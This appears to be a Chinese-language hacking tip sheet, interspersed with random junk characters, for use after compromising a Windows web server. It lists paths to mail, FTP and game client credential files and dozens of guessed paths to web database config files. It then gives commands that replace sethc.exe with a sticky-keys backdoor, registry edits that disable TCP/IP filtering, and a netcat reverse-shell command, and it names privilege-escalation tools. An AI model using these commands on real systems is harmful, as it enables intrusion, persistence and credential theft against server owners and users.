; r5 K+ I" T, Z- G& U" F+ p( \C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
  o: a  f+ U6 S* c. \0 _. L5 ?C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
/ ~! Q8 b/ @# i2 F% ^  cC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
) ?- C/ c" `1 xc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
# Y5 K9 n: g1 `4 ]: ^5 M2 y( jC:\Program Files\FlashFXP\flashfxp.exe
! ]9 n3 d4 C) Wc:\Program Files\Oracle\bin\regsvr32.exe
/ W' s) _- Q! G) i3 y- bc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
( m5 e' H3 Y2 ?c:\Program Files\tencent\QQGAME\readme.txt
: M& x, |3 Y9 o  ]' S( c% UC:\Program Files\StormII\Storm.exe
: R+ [- u+ n6 K# k+ Q
" w1 ^: d6 u! g! b3.网站相对路径:
/ S7 a; u( f; ^$ m" h4 ]+ y8 v
  |2 C& X' c) x. _1 I" r1 |% H' N8 `/config.php
6 G8 e; X( j8 y6 @1 Q; T: e( Z0 _../../config.php
: ]# M% ]. x* X' B../config.php
2 N7 `) `# `) q6 d4 f/ c3 I8 W../../../config.php
/config.inc.php
% T& z) e$ r# r, g# @# t) l./config.inc.php
! Y! k$ O( j/ l8 @. c4 d../../config.inc.php
../config.inc.php
../../../config.inc.php
3 d9 s" M  G2 T' X/ @( g, h/conn.php
./conn.php
../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
) h  E0 Q6 p) @7 ^% v../../conn.asp
  |* z1 K2 G3 J' U( s" A3 U../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
% {8 s) v' w5 |( c4 a& `../../config/config.php
../config/config.php
1 @) [5 u  c  S( l) @../../../config/config.php
/config/config.inc.php
./config/config.inc.php
' E8 T: O; @" U../../config/config.inc.php
../config/config.inc.php
& T. k* i- [/ F* U../../../config/config.inc.php
6 }/ w5 A$ Y- j! B+ P) r0 l! E& b/config/conn.php
. J9 c4 a2 W) E3 J7 L./config/conn.php
../../config/conn.php
../config/conn.php
' r1 @' b3 m. n4 t/ c) b6 G../../../config/conn.php
2 i2 H) q0 Q: }: i/ B$ J/config/conn.asp
./config/conn.asp
2 p+ W* Z/ `( i../../config/conn.asp
../config/conn.asp
! B4 n4 N, N5 B1 [& P3 H../../../config/conn.asp
) \5 x4 K5 j; H/config/config.inc.php
* ^" `7 A6 I' U+ @/ w./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
2 K2 k3 G9 ]5 y; V../../../config/config.inc.php
/data/config.php
: ]$ Q, i4 v0 w7 h2 I5 ^6 n; ~0 G../../data/config.php
../data/config.php
../../../data/config.php
3 g0 W3 f) B1 m! f  b1 c/data/config.inc.php
1 L$ Q8 f) K, \$ V* n1 b./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
3 q; {" Z; P9 f/data/conn.php
! H6 D4 a; l) P! I# a./data/conn.php
  c4 h2 |% Z; l6 `; g../../data/conn.php
../data/conn.php
../../../data/conn.php
% C; D/ I; B/ w/data/conn.asp
/ Y* H6 D9 ~: d2 c& g. y* j5 O./data/conn.asp
8 h* h+ M6 j  ]- u1 |! L../../data/conn.asp
../data/conn.asp
* D% ]4 @3 i) c: W../../../data/conn.asp
5 u5 W; z( ]9 V! P/data/config.inc.php
./data/config.inc.php
* m2 A! G7 g) w/ M( c2 p$ F( M../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
+ ?  M" p1 A4 J/ \+ h../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
' G. O* o/ [  i0 V# F; @./include/config.inc.php
/ f- S! E9 ^, G../../include/config.inc.php
../include/config.inc.php
8 z4 J  r* v1 c, Q) x6 M( T7 ~9 V../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
( V; o: a: _  @9 y4 A8 H" o../include/conn.php
+ f* T3 O' L) r" b( C../../../include/conn.php
. O6 z' p6 K$ j/include/conn.asp
6 x! A. L5 ?. [1 k# t, v0 N' X, l./include/conn.asp
/ w7 ^% T5 t  Q../../include/conn.asp
: [1 w$ j9 m, l& x../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
, h0 U+ L& b$ }4 [) Y( H../../include/config.inc.php
' ]& _( c7 \1 m% c../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
+ ?7 H; E  ]/ `" w' q../../inc/config.php
../inc/config.php
( l$ ]* I4 r# u8 ^5 G$ H4 x../../../inc/config.php
/inc/config.inc.php
! |: [( c0 T6 |& M8 Z( N./inc/config.inc.php
; {' W) i& e+ M1 `4 N../../inc/config.inc.php
8 l+ Y7 x3 h( X7 ~$ J../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
) o4 r  D1 R+ C4 x: U2 n../inc/conn.php
5 O  n, W  H& i% q/ Z$ R( T../../../inc/conn.php
' }. i0 q* b* U  u( u/inc/conn.asp
/ [) |2 s! J& K7 K, \! f6 i7 s./inc/conn.asp
7 G+ ^; f8 D2 ]# g- t' @/ \, S../../inc/conn.asp
) _! N& T- m# i  _- K0 ^- i& D& ?../inc/conn.asp
+ b2 |% K( t7 X& \: t$ b( `../../../inc/conn.asp
/inc/config.inc.php
# Y! s$ ^) D' x& j1 J  k./inc/config.inc.php
* Z7 z8 j4 `+ ~3 W../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
2 G7 }) C  d/ D0 ~2 q4 k' J../index.php
../../../index.php
/index.asp
: X; o* l! r: H6 q./index.asp
../../index.asp
../index.asp
8 A; |, b" z8 G! w; e) u6 z3 y$ d../../../index.asp
5 l' L8 @8 n0 g8 k: M7 x5 ^" y替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
, v7 J: R; p2 e9 W$ A' i
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

0 P( v/ a3 f4 x, _5 X　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

; x5 K% R$ F# Q) A# D　　attrib c:\windows\system32\sethc.exe +h +r +s
% O6 f  V2 A& L
) f- d3 X# }) {/ i+ ~, h　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

/ U! i4 p  @) D! Y' Z# V( h  O. \: \分别用
4 j) u5 l# N! h& e& [, b& zregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
* V) K) v  B5 H* [$ v! ?regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 B& B4 n' C, }7 I2 X0 @: q命令来导出注册表项
3 H6 X, c5 z8 l2 E0 L* [: B
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
4 L4 P4 h) v" Z( r' g
' o: g; g) b2 ]1 t1 O再将以上三个文件分别用
9 ?" Y' @- \. Z0 T$ |! Aregedit -s D:\a.reg
regedit -s D:\b.reg
8 T. p# @# ~7 F) n: {6 V" A5 Zregedit -s D:\c.reg
$ ~7 o8 K1 G/ X( k2 y: q0 ]导入注册表即可

webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
, ~! k2 k/ G( T3 |9 \nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
6 D4 R% w3 ]3 f. S8 {0 D5 V! F通常都不会成功。
( a9 p1 r, k8 n- Z
. q" `0 F! D: v% i而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
! q) g) j' {) m命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功